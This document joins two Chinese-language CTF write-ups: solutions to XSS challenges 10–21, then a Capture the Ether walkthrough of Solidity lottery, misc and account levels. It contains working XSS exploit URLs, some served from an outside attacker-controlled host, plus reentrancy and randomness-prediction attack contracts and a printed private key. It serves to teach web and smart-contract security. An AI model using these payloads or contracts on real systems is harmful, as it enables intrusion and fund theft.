ref: <https://github.com/cure53/XSSChallengeWiki/wiki/Puzzle-3-on-kcal.pw>
### 10\. MVM
<html ng-app>
<head>
<meta charset=utf-8>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.5/angular.js"></script>
</head>
<body>
<input id="username" name="username" tabindex="1" ng-model="username" ng-init="username='<?php if(strlen($_GET["username"])<37){echo htmlspecialchars($_GET["username"]);}?>'" placeholder="username" maxlength="11" type="text">
</body>
</html>
<http://xianzhi.aliyun.com/xss10.php?username=hiphopman>
对框架不是很熟悉，提示是Client Side Template Injection，翻M师傅推特找到一个利用
FF && Chrome Exp
{{[].pop.constructor('alert()')()}}
http://xianzhi.aliyun.com/xss10.php?username=%7B%7B%5B%5D.pop.constructor(%27alert(1)%27)()%7D%7D
ref: <http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html>
### 11\. HOST
"use strict";
var http = require('http');
(function(){
http.createServer(function (req, res) {
res.writeHead( 200, { "Content-Type" : "text/html;charset=utf-8", "X-XSS-Protection" : "0" } );
res.end( '<html><head><title>' + req.headers["host"] + '</title></head><body>It works!</body></html>' );
}).listen(80);
console.log( "Running server on port 80" );
})();
<http://ec2-52-15-146-21.us-east-2.compute.amazonaws.com/>
HOST头注入，这里又需要用到IE下一个奇怪的姿势.
<https://labs.detectify.com/2016/10/24/combining-host-header-injection-and-lax-host-parsing-serving-malicious-data/>
重点部分：
所以可以构造
11.php
<?php
header('HTTP/1.1 307 Redirect');
header('Location: '.$_GET['u']);
IE11 exp
http://ns1.rootk.pw:8080/xss/wp/11.php?u=http://ec2-52-15-146-21.us-east-2.compute.amazonaws.com%252f<%252ftitle><script>alert(document.domain)<%252fscript><!--.baidu.com
这里最新的IE11是失效的，ie11.483.15063.0失败，本地成功的IE版本为 ie11.0.9600.17843
ref: <http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html>
### 12\. preview
<?php
# the request
$ch = curl_init($_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
# get the content type
$mime = array("application/octet-stream","application/postscript","application/x-cdf","application/x-compressed","application/x-zip-compressed","audio/basic","audio/wav","audio/x-aiff","video/avi","video/mpeg","video/x-msvideo","image/png","image/jpeg","image/gif");
if (in_array(curl_getinfo($ch, CURLINFO_CONTENT_TYPE), $mime)) {
header("Content-Type:".curl_getinfo($ch, CURLINFO_CONTENT_TYPE));
//header("X-Content-Type-Options: nosniff");
echo curl_exec($ch);
}
# output
// text/html; charset=ISO-8859-1
?>
<http://xianzhi.aliyun.com/xss12.php?url=https://www.baidu.com/img/bd_logo1.png>
先来了解一下IE的奇怪MIME判断。
<https://blog.fox-it.com/2012/05/08/mime-sniffing-feature-or-vulnerability/>
因为有些服务器指定的不是一个正确的Content-Type头，所以IE为了兼容这些文件类型，它会将文件的前256个字节与已知文件头进行比较，然后得到一个结果...也就是`<html>`作为开头的话，会被认为是`text/html`
所以可以构造一下
IE exp:
http://xianzhi.aliyun.com/xss12.php?url=http://ns1.rootk.pw:8080/xss/wp/12.php
12.php
<?php
header("Content-Type: application/octet-stream");
?>
<html><script>alert(document.domain)</script></html>
ref: <https://xianzhi.aliyun.com/forum/read/224.html>
### 13\. REQUEST_URI
<?php
header("X-XSS-Protection: 0");
echo "REQUEST_URI:".$_SERVER['REQUEST_URI'];
?>
<http://xianzhi.aliyun.com/xss13.php>
REQUEST_URI请求的xss，在IE下，加一次跳转就不会进行编码
IE exp:
<http://ns1.rootk.pw:8080/xss/wp/13.php>
13.php
<?php
header("Location: http://xianzhi.aliyun.com/xss13.php/<svg/onload=alert(document.domain)>");
ref: <https://speakerdeck.com/masatokinugawa/xss-attacks-through-path>
### 14\. HIDDEN
<?php
header('X-XSS-Protection:0');
header('Content-Type:text/html;charset=utf-8');
?>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<form action=''>
<input type='hidden' name='token' value='<?php
echo htmlspecialchars($_GET['token']); ?>'>
<input type='submit'>
</body>
<http://xianzhi.aliyun.com/xss14.php?token=233>
很久经典的一个问题，模糊记得xss书上有讲这个问题，因为标签里面有hidden属性的存在，导致大部分事件没法直接触发
所以一般分为两点，输出点是在hidden属性之前还是之后(不能闭合掉input的情况下)
1. 之前则可以覆盖type为其他的，`<input value="a" src=1 onerror=alert(1) type="image" type="hidden">`
2. 之后的话，只能通过间接的方式来触发，比如大家熟知的`' accesskey='x' onclick='alert(/1/)`，然后按shift+alt+x触发xss，但是还可以这样操作，无交互的触发xss，相比起来已经是无限制了，`'style='behavior:url(?)'onreadystatechange='alert(1)`
参考文章：<http://masatokinugawa.l0.cm/2016/04/hidden-input-xss.html>
IE exp:
http://xianzhi.aliyun.com/xss14.php?token=%27style=%27behavior:url(?)%27onreadystatechange=%27alert(1)
### 15\. Frame Buster
<?php
header("X-XSS-Protection: 0");
$page=strtolower($_GET["page"]);
$regex="/on([a-zA-Z])+/i";
$page=str_replace("style","_",$page);
?>
<html>
<head>
<meta charset=utf-8>
</head>
<body>
<form action='xss15.php?page=<?php
if(preg_match($regex,$page))
{
echo "XSS Detected!";
}
else
{
echo htmlspecialchars($page);
}
?>'></form>
<script>
if(top!=self){
location=self.location
}
</script>
</body>
</html>
<http://xianzhi.aliyun.com/xss15.php?page=1>
很有意思的一个题目，一种防御iframe框架加载的方式，如果用框架加载的话，会让页面一直刷新....此题提示是`DOM Clobbering`
什么又是DOM Clobbering，在 **IE8** 下，`abc.def`将会是123
<form id=abc def=123></form>
<script>
alert(abc.def)
</script>
那么题目中的`self.location`也就可以通过这样的方式去覆盖值.
IE exp:
<http://ns1.rootk.pw:8080/xss/wp/15.html>
<meta http-equiv=x-ua-compatible content=IE=8>
<iframe src="http://xianzhi.aliyun.com/xss15.php?page=1'name=self location='javascript%3Aalert(document.domain)"></iframe>
当然还是需要注意调节兼容性，关于兼容性，可以看第八题的writeup
更多关于DOM Clobbering的文章:
ref: <http://www.thespanner.co.uk/2013/05/16/dom-clobbering/>
<https://www.slideshare.net/x00mario/in-the-dom-no-one-will-hear-you-scream>
### 16\. PHP_SELF
<html>
<head>
<meta charset=utf-8>
<meta http-equiv="X-UA-Compatible" content="IE=10">
<link href="styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
<img src="xss.png" style="display: none;">
<h1>
<?php
$output=str_replace("<","<",$_SERVER['PHP_SELF']);
$output=str_replace(">",">",$output);
echo $output;
?>
</h1>
</body>
</html>
<http://xianzhi.aliyun.com/xss16.php>
一个比较明显的RPO漏洞，但是国内对这方面介绍比较少
<http://www.mbsd.jp/Whitepaper/rpo.pdf>
这个文档对RPO讲的比较清楚
总结起来就是因为php_self的存在，下面这个css会根据链接情况来加载
<link href="styles.css" rel="stylesheet" type="text/css" />
当我访问`xianzhi.aliyun.com/xss16.php`的时候，web相对路径就是`/`，这时候加载的css就是`xianzhi.aliyun.com/styles.css`
但是当我访问`xianzhi.aliyun.com/xss16.php/%7B%7D*%7Bbackground-color:%20red%7D*%7B%7D/`，也就是`{}*{background-color:
red}*{}`，web的相对路径就是`/xss16.php/%7B%7D*%7Bbackground-color:%20red%7D*%7B%7D/`，这时候加载的css内容是`http://xianzhi.aliyun.com/xss16.php/%7B%7D*%7Bbackground-color:%20red%7D*%7B%7D/styles.css`
css的解析并没有像html那么严格，所以你可以看到网页将会被渲染为红色。
高潮部分来了，现在想办法就是利用css去加载js
<http://blog.innerht.ml/cascading-style-scripting/>
可以利用sct文件，但是缺陷就是sct必须要是在同域下.
可以发现题目还有一个xss.png....内容如下
<scriptlet>
<implements type="behavior"/>
<script>alert(1)</script>
</scriptlet>
IE exp:
http://xianzhi.aliyun.com/xss16.php/{}*{behavior:url(http://xianzhi.aliyun.com/xss.png)}*{}/
当然css触发xss的，还可以用`expression`
ref: <http://www.thespanner.co.uk/2014/03/21/rpo/>
### 17\. passive element
<?php
header("Content-Type:text/html;charset=utf-8");
header("X-Content-Type-Options: nosniff");
header("X-FRAME-OPTIONS: DENY");
header("X-XSS-Protection: 0");
$content=$_GET["content"];
echo "<div data-content='".htmlspecialchars($content)."'>";
?>
<http://xianzhi.aliyun.com/xss17.php?content=data>
输出点在div里面，这种被动元素如何去触发xss？
html5sec总结：<https://html5sec.org/#145>
所以可以被动一点，需要用户点击一下之类操作去触发xss
IE exp:
http://xianzhi.aliyun.com/xss17.php?content=a%27%20style=%27-webkit-user-modify:read-write%27%20onfocus=%27alert(1)%27%20id=%27xss
但是M师傅提供了一个比较通用而且无需用户交互的poc
除FF以外的浏览器 exp:
http://xianzhi.aliyun.com/xss17.php?content=%27onfocus=%27alert(1)%27%20contenteditable%20tabindex=%270%27%20id=%27xss#xss
ref: <https://github.com/cure53/XSSChallengeWiki/wiki/Mini-Puzzle-1-on-kcal.pw>
### 18\. Graduate
<?php
header("Content-Type:text/html;charset=utf-8");
header("X-Content-Type-Options: nosniff");
header("X-FRAME-OPTIONS: DENY");
header("X-XSS-Protection: 1");
?>
<html>
<head>
<meta charset=utf-8>
</head>
<body>
<textarea>
<?php
//Fix#001
$input=str_replace("<script>","",$_GET["input"]);
//Fix#002
$input=str_replace("/","\/",$input);
echo $input;
?>
</textarea>
</body>
</html>
<http://xianzhi.aliyun.com/xss18.php?input=plaintext>
也是炒鸡好的题目，输入点在`textarea`里面，在不能闭合的情况下搞事情
有一个细节就是，开启了xss保护
在IE下，这个保护是他会把认为有害的字符过滤掉
IE exp:
http://xianzhi.aliyun.com/xss18.php?input=%3Ctextarea%3E%3Cimg%20src=1%20on%3Cscript%3Eerror=alert(document.domain)%3E
ref: <https://www.slideshare.net/codeblue_jp/xss-attacks-exploiting-xss-filter-by-masato-kinugawa-code-blue-2015>
### 19\. Party(未做出)
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script>
function getCookie(cname) {
var name = cname + "=";
var decodedCookie = decodeURIComponent(document.cookie);
var ca = decodedCookie.split(';');
for(var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') {
c = c.substring(1);
}
if (c.indexOf(name) == 0) {
return c.substring(name.length, c.length);
}
}
return "";
}
function checkCookie() {
var user=getCookie("username");
if (user != "") {
document.write("欢迎, " + unescape(user));
} else {
alert("请登陆")
}
}
</script>
</head>
<body onload="checkCookie()">
<?php echo '<img name="avatar" src="'.str_replace('"',""",$_GET["link"]).'" width="30" height="40">';?>
</body>
</html>
<http://xianzhi.aliyun.com/xss19.php?link=http://up.qqjia.com/z/face01/face06/facejunyong/junyong02.jpg>
FF exp:
http://xianzhi.aliyun.com/xss19.php?link=data:image%2fsvg%2bxml,%3Cmeta%20xmlns=%27http://www.w3.org/1999/xhtml%27%20http-equiv=%27Set-Cookie%27%20content=%27username=%25%32%35%33%43script%25%32%35%33%65alert%25%32%35%32%381%25%32%35%32%39%25%32%35%33%43%25%32%35%32%66script%25%32%35%33%65%27%20/%3E
ref: <http://insert-script.blogspot.jp/2016/12/firefox-svg-cross-domain-cookie.html>
### 20\. The End(未做出)
<?php
header("Content-Type:text/html;charset=utf-8");
header("X-Content-Type-Options: nosniff");
header("X-FRAME-OPTIONS: DENY");
header("X-XSS-Protection: 0");
$hookid=str_replace("=","",htmlspecialchars($_GET["hookid"]));
$hookid=str_replace(")","",$hookid);
$hookid=str_replace("(","",$hookid);
$hookid=str_replace("`","",$hookid);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script>
hookid='<?php echo $hookid;?>';
</script>
<body>
</body>
</html>
<http://xianzhi.aliyun.com/xss20.php?hookid=9527>
IE exp
http://xianzhi.aliyun.com/xss20.php?hookid='%2b{valueOf:location, toString:[].join,0:'javascript:alert%25281%2529',length:1}%2b'
ref: <https://twitter.com/xssvector/status/213631832053395456>
另外膜一下一血大佬用safari的0day做出来了.
### 21\. 番外番 jquery
<?php
header("Content-Type:text/html;charset=utf-8");
header("X-Content-Type-Options: nosniff");
header("X-FRAME-OPTIONS: DENY");
header("X-XSS-Protection: 0");
?>
<html>
<head>
<meta charset="utf-8">
<script src="https://code.jquery.com/jquery-3.2.1.js" integrity="sha256-DZAnKJ/6XZ9si04Hgrsxu/8s717jcIzLy3oi35EouyE=" crossorigin="anonymous"></script>
<script>
window.jQuery || document.write('<script src="http://xianzhi.aliyun.com/jquery.js"><\/script>');
</script>
</head>
<body>
<script>
$(function(){
try { $(location.hash) } catch(e) {}
})
</script>
</body>
</html>
<http://xianzhi.aliyun.com/xss21.php>
juqery高版本不适合一些低版本的浏览器，或者意外因素(中国网络环境)，cdn的jqeury可能会加载失败，这时候就需要加载一下本地的jquery，本地加载的jquery版本为`1.6.1`是存在漏洞
但是网络环境不可控，为了稳定的让受害者加载带有漏洞的jquery，那么一定要<font style="color:
red">**让cdn的jquery加载失败**</font>～
只要请求远程cdn时有某个header，比如说referrer，超出了cdn服务器所能接受的范围，就会产生拒绝请求的现象，比如很长串的字符.
chrome Exp:
http://xianzhi.aliyun.com/xss21.php?a=a....(中间省略9000个a)#<img src=1 onerror=alert(0)>
另外就是踩的一些坑
FF测试不成功，应该它对location.hash的操作，比如<还会url编码
safai，空格会自动%20编码
另外<svg/onload=alert(1)>操作不会成功，因为网页是已经加载好了
ref: <https://github.com/cure53/XSSChallengeWiki/wiki/XSSMas-Challenge-2016> | 社区文章 |
# capture the ether write up(Lotteries Accounts and Miscellaneous)
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这是capture the ether的write up
的另一部分，Math部分的writeup见此，[传送门](https://www.anquanke.com/post/id/153375)
## Lotteries
这一部分主要讲的是合约里的随机数生成
### 0x1. Guess the number
pragma solidity ^0.4.21;
contract GuessTheNumberChallenge {
uint8 answer = 42;
function GuessTheNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
这是最简单的，直接把answer给出来了，那么我们直接调用guess函数并传参42即可，同时注意需要发送1 ether，这样就可以把创建合约时存进去的1
ether提取出来
### 0x2. Guess the secret number
pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
function GuessTheSecretNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (keccak256(n) == answerHash) {
msg.sender.transfer(2 ether);
}
}
}
这道题算是上题的进阶版，不过它给出的是一串hash值，我们要完成挑战需要把破解后的数字发送过去，看上去这有点难为人，毕竟这又不是在php里，还有弱类型比较等骚操作，不过我们发现它给出的参数n的数据类型为uint8，这代表着其长度只有八位，也就是0到255，这样就很简单了，下面是一个简单的爆破合约:
contract crack {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
uint8 public result;
function crackresult() returns (uint8) {
for (uint8 i = 0; i <= 255; i++) {
if (keccak256(i) == answerHash) {
result = i;
return i;
}
}
}
}
部署一下爆破结果:
然后提交即可，最后在页面check过关
### 0x3. Guess the random number
pragma solidity ^0.4.21;
contract GuessTheRandomNumberChallenge {
uint8 answer;
function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 1 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
这一关又进阶了，answer还是一串hash，但是是在构造函数里进行了初始化，使用了块的hash和时间戳，事实上这些量在目标合约部署以后都是已知的，我们可以直接在创建块的交易信息里查看，不过简单点我们这里直接在storage里读取即可，此处answer的存储位是在slot
0处
因为使用了metamask插件，所以我们的浏览器已经加载了web3.js，所以我们可以直接在控制台里与Ropsten测试链交互:
可见answer即为0x2f，也就是47.然后按流程提交即可，注意发送交易时需要1 ether
### 0x4. Guess the new number
pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
这题还是有点意思，跟ethernaut里的coin
flip差不多，算是简化版，核心思想就是要在guess函数执行前知道前一个区块的hash与当前块的时间戳，我们知道每个区块里会包含许多交易，对于这些交易前一区块的hash与时间戳都是相同的，所以我们只要部署另一个合约来调用目标合约的guess函数以使这两个交易在一个块内，攻击合约很简单，如下:
pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
contract attacker {
function attack() public payable {
uint8 result = uint8(keccak256(block.blockhash(block.number - 1), now));
GuessTheNewNumberChallenge target = GuessTheNewNumberChallenge(0xE8BE7654f6C8C23026939901b80530dCf0AfCA75);
target.guess.value(1 ether)(result);
}
function () public payable {
}
}
最好是有个fallback函数以便我们调用attack函数时发送1 ether，接下来就很简单，部署攻击合约以后调用attack函数并发送1 ether
挑战完成，check进入下一关
### 0x5. Predict the future
pragma solidity ^0.4.21;
contract PredictTheFutureChallenge {
address guesser;
uint8 guess;
uint256 settlementBlockNumber;
function PredictTheFutureChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}
这题也有点意思，随机数的生成方式与上一题是一样的，但是它多了个lockInGuess函数，此处我们就需要输入我们guess的值，然后使用settlementBlockNumber限制为我们调用lockInGuess的交易所在区块之后的区块，这样我们就不能在同一个区块里调用lockInGuess与settle函数了，所以这个挑战的名字就叫预测未来
看起来我们要完成挑战就得提前知道后面的区块的信息，这似乎是不可能的，事实上也是不可能的，这里的关键是在于guess的大小为10，也就是0 到
9，这就为我们去爆破它提供了可能，虽然我们无法去就挑战合约的answer，但是我们可以让answer来就我们，反正按照规则一次一次地尝试生成answer，当此块的信息得到的answer与我们猜的guess相同时我们再调用settle函数，以免guesser被清零，我们又得投1
ether进去
所以攻击合约如下
contract attacker {
PredictTheFutureChallenge target;
uint public result;
function attacker() public payable {
target = PredictTheFutureChallenge(address of your challenge);
target.lockInGuess.value(1 ether)(8);
}
function exploit() public payable {
result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
if (result == 8) {
target.settle();
}
}
function () public payable {
}
}
首先是随便猜个数字，因为锁定用户用的是msg.sender，所以我们必须用攻击合约来完成这一步骤，这里我选择的是8，然后部署攻击合约，注意部署时需要发送1
ether，然后就是拼人品的时候了，反正就一直调用exploit函数，人品好的可能两三次就成功通过了，脸黑的可能得十几次几十次，毕竟平均也得10次，反正每次调用完查看下isComplete看是否成功，可以多给点gas以提高下优先级，多少能省点时间，反正也不是真钱
### 0x6. Predict the block hash
pragma solidity ^0.4.21;
contract PredictTheBlockHashChallenge {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;
function PredictTheBlockHashChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(bytes32 hash) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
bytes32 answer = block.blockhash(settlementBlockNumber);
guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}
这个挑战还是要你预测，代码主体跟前面那个差不多，但是这个直接要你猜当前块的hash，我们知道这是根本不可能的，乍一看确实让人有点懵逼,不过此处的突破点在于block.blockhash这个函数，它可以获取给定的区块号的hash值，但只支持最近的256个区块，不包含当前区块，对于256个区块之前的函数将返回0，知道了这些就好办了，先传递guess为0，然后等待256个区块再调用settle函数即可
不知道该等多久的可以使用web3.eth.getBlockNumber()来方便地获取最近一次的区块号
## Miscellaneous
这部分是杂项
### 0x1. Assume ownership
pragma solidity ^0.4.21;
contract AssumeOwnershipChallenge {
address owner;
bool public isComplete;
function AssumeOwmershipChallenge() public {
owner = msg.sender;
}
function authenticate() public {
require(msg.sender == owner);
isComplete = true;
}
}
这一关乍一看有点懵逼，不知道靠的是啥，不过仔细观察发现考点是在构造函数上，此处出现了拼写错误，导致合约部署时该函数并没有执行，于是可被我们所调用，这样就可以将owner设置为我们的账户地址了，操作非常简单，就不赘述了
### 0x2. Token bank
pragma solidity ^0.4.21;
interface ITokenReceiver {
function tokenFallback(address from, uint256 value, bytes data) external;
}
contract SimpleERC223Token {
// Track how many tokens are owned by each address.
mapping (address => uint256) public balanceOf;
string public name = "Simple ERC223 Token";
string public symbol = "SET";
uint8 public decimals = 18;
uint256 public totalSupply = 1000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC223Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return length > 0;
}
function transfer(address to, uint256 value) public returns (bool success) {
bytes memory empty;
return transfer(to, value, empty);
}
function transfer(address to, uint256 value, bytes data) public returns (bool) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
if (isContract(to)) {
ITokenReceiver(to).tokenFallback(msg.sender, value, data);
}
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}
contract TokenBankChallenge {
SimpleERC223Token public token;
mapping(address => uint256) public balanceOf;
function TokenBankChallenge(address player) public {
token = new SimpleERC223Token();
// Divide up the 1,000,000 tokens, which are all initially assigned to
// the token contract's creator (this contract).
balanceOf[msg.sender] = 500000 * 10**18; // half for me
balanceOf[player] = 500000 * 10**18; // half for you
}
function isComplete() public view returns (bool) {
return token.balanceOf(this) == 0;
}
function tokenFallback(address from, uint256 value, bytes) public {
require(msg.sender == address(token));
require(balanceOf[from] + value >= balanceOf[from]);
balanceOf[from] += value;
}
function withdraw(uint256 amount) public {
require(balanceOf[msg.sender] >= amount);
require(token.transfer(msg.sender, amount));
balanceOf[msg.sender] -= amount;
}
}
这道题的质量也非常高，挺有意思的，推荐大家自己去感受一下
挑战给出的合约看起来很长，其实功能还算简单，TokenBankChallenge合约就相对于一个银行，一开始我们我们在里面会有500000
ether的余额，可以通过withdraw来使用这部分余额购买上面SimpleERC223Token合约实现的token，这个银行合约持有的token为1000000
ether，是我们的两倍，看起来挺吓人的，不过这也只是个计量单位，其实合约本身的balance是0，这也是难得的部署挑战时不用我们支付1
ether的合约，毕竟500000 ether也没人拿的出来，我们的目的就是让银行合约持有的token清零
既然要清零我们自然要寻找使得balance减少的地方，在银行合约里显然withdraw函数是切入点，它调用的是token合约的transfer函数，同时我们注意到它是在require里调用的，我想有经验的应该看出来这里存在的问题了，继续将目标转向transfer函数
前面的代码都没什么异常，重点在这一句
if (isContract(to)) {
ITokenReceiver(to).tokenFallback(msg.sender, value, data);
}
这里先是判断了to地址是否是个合约地址，如果是合约的话就用ITokenReceiver接口来调用to合约的tokenFallback函数，在银行合约里这个函数用更改目标的balance，但是to是我们可控的呀，我们只要部署一个攻击合约也命名一个这个函数不就可以成功在transfer的执行过程里额外来调用我们的合约函数么，结合前面看到的require判断里调用的transfer，显然此处是存在重入漏洞的，OK，知道了利用点接下来就很简单了
首先我们需要部署一个攻击合约，然后将我们player的token都转让给这个攻击合约，攻击合约再把token转化为银行的balance，即可以合约身份执行withdraw函数，触发重入，攻击合约如下
contract Attack {
address a = address of bankchallenge;
address b = address of tokencontract;
TokenBankChallenge target1;
SimpleERC223Token target2;
uint256 check;
function Attack() payable{
target1= TokenBankChallenge(a);
target2= SimpleERC223Token(b);
}
function action1() public {
target2.transferFrom(your Account address,address(this),500000000000000000000000);
}
function action2() public {
target2.transfer(a,500000000000000000000000);
}
function tokenFallback(address from, uint256 value, bytes) public {
check=check+1;
if(check <= 2){
target1.withdraw(500000 * 10**18);
}
}
function () public payable {
}
}
其中token合约的地址就保存在银行合约的token处，接下来的操作很简单，首先我们调用bank合约的withdraw函数把我们的balance全部换成token，然后我们调用token合约的approve给我们的攻击合约授权，允许它获得我们所有的token
接下来我们依次调用attack合约里的
action1和action2函数，此时我们的攻击合约在bank里就有足够的balance了，然后我们调用攻击合约的tokenFallback函数，参数随便写，反正也没啥用，不出意外的话我们便成功清零了bank的token，完成挑战，美滋滋
## Accounts
这部分挑战主要是关于账户和地址的，之所以放在最后是因为我也没做完，太菜没办法，不过还是写一下
### 0x1. Fuzzy identity
pragma solidity ^0.4.21;
interface IName {
function name() external view returns (bytes32);
}
contract FuzzyIdentityChallenge {
bool public isComplete;
function authenticate() public {
require(isSmarx(msg.sender));
require(isBadCode(msg.sender));
isComplete = true;
}
function isSmarx(address addr) internal view returns (bool) {
return IName(addr).name() == bytes32("smarx");
}
function isBadCode(address _addr) internal pure returns (bool) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000badc0de";
bytes20 mask = hex"000000000000000000000000000000000fffffff";
for (uint256 i = 0; i < 34; i++) {
if (addr & mask == id) {
return true;
}
mask <<= 4;
id <<= 4;
}
return false;
}
}
挑战的代码逻辑很简单，第一步require需要你的调用合约的name为smarx，这很简单，但是第二步却需要合约地址里包含badc0de字段，这不是强人所难么，一开始我也觉得这挑战是在难为人，不过我很快想起合约地址其实也是由创建合约的地址经过运算得到的
在以太坊源码里我们可以找到生成合约地址的算法
func CreateAddress(b common.Address, nonce uint64) common.Address {
data, _ := rlp.EncodeToBytes([]interface{}{b, nonce}) //对地址和nonce进行rlp编码
return common.BytesToAddress(Keccak256(data)[12:]) //利用keccak256算hash，后20个字节作为新地址
}
此处地址为合约创建者的地址，而nonce则是该创建者的累积交易次数，这也是表明accounts状态的变量之一，是保存在链上的，在每笔交易里也可以直接查看，那么我们当前目标就很明确，需要批量生成accounts地址并使用上面的算法来验证在前几个交易里是否存在满足条件的地址
这里我使用的是[ethjs-account](https://github.com/ethjs/ethjs-account)来生成地址，这个确实贼好用，而上面的合约地址生成算法也可以在nodejs里找到对应的库，下面是一个简单的爆破代码
const util = require('ethereumjs-util');
const rlp = require('rlp');
const generate = require('ethjs-account').generate;
seed='892h@fs8sk^2hSFR*/8s8shfs.jk39hsoi@hohskd51D1Q8E1%^;DZ1-=.@WWRXNI()VF6/*Z%$C51D1QV*<>FE8RG!FI;"./+-*!DQ39hsoi@hoFE1F5^7E%&*QS'//生成地址所用的种子
function fuzz(){
for(var k=0;k<50000;k++){
seed=seed+Math.random().toString(36).substring(12);//为避免重复，生成一定数目后对种子进行更新
for(var i=0;i<1000;i++){
res=generate(seed);
for (var j=0;j<10;j++){
encodedRlp = rlp.encode([res.address, j]);// 进行rlp编码
buf = util.sha3(encodedRlp);
contractAddress =buf.slice(12).toString('hex');//取buffer第12个字节后面的部分作为地址
if(contractAddress.match("badc0de")){
console.log(res);
console.log(j);
return;
}
}
//console.log(i);
}
}
}
fuzz();
这个跑起来还是挺快地，我第一次运行只用了两分钟就跑出来一个，不过第二次跑就花了十分钟，可能还是看点运气吧，这是我拿到的首个可用地址，也是我解锁挑战所用的地址
> { privateKey:
> ‘0xa376e6c4be605caa488ff90fd81c72a93b7917af0ec8da1c8b46c930246856f5’,
> publicKey:
> ‘0xa8e08df06ae686c692b39cde44c9cad07db46afce6a6b0de93390b816a97fb088977715c40426025c4ff0edbf86b9b438fb842095533d5d41210eedcdfe64c73’,
> address: ‘0x6C37d4bb51dc59D11aDfA5aA454422944060cfcD’ }
> nonce = 6
因为nonce为6所以需要我们在部署攻击合约前先随便发送几个交易，当然，先得把该账户导入我们的metamask，在切换账户处点击import
Account，然后把上面得到的私钥导入即可，然后记得去水龙头取点ether
接下来准备部署我们的攻击合约
contract attack {
FuzzyIdentityChallenge fuzz;
function pwn(){
fuzz=FuzzyIdentityChallenge(address of your challenge);
fuzz.authenticate();
}
function name() external view returns(bytes32){
return bytes32("smarx");
}
}
先随便发送几个交易，等到第七个交易的时候就可以来部署我们的攻击合约了，因为此时nonce即为6，当然不放心的话也可以提前几个就开始部署，部署完之后看看我们的合约地址是否符合要求，满足要求的话即可调用pwn函数完成挑战了，说实话这个挑战倒是让我感受到了定制化合约地址的玄妙
### 0x2. Public Key
pragma solidity ^0.4.21;
contract PublicKeyChallenge {
address owner = 0x92b28647ae1f3264661f72fb2eb9625a89d88a31;
bool public isComplete;
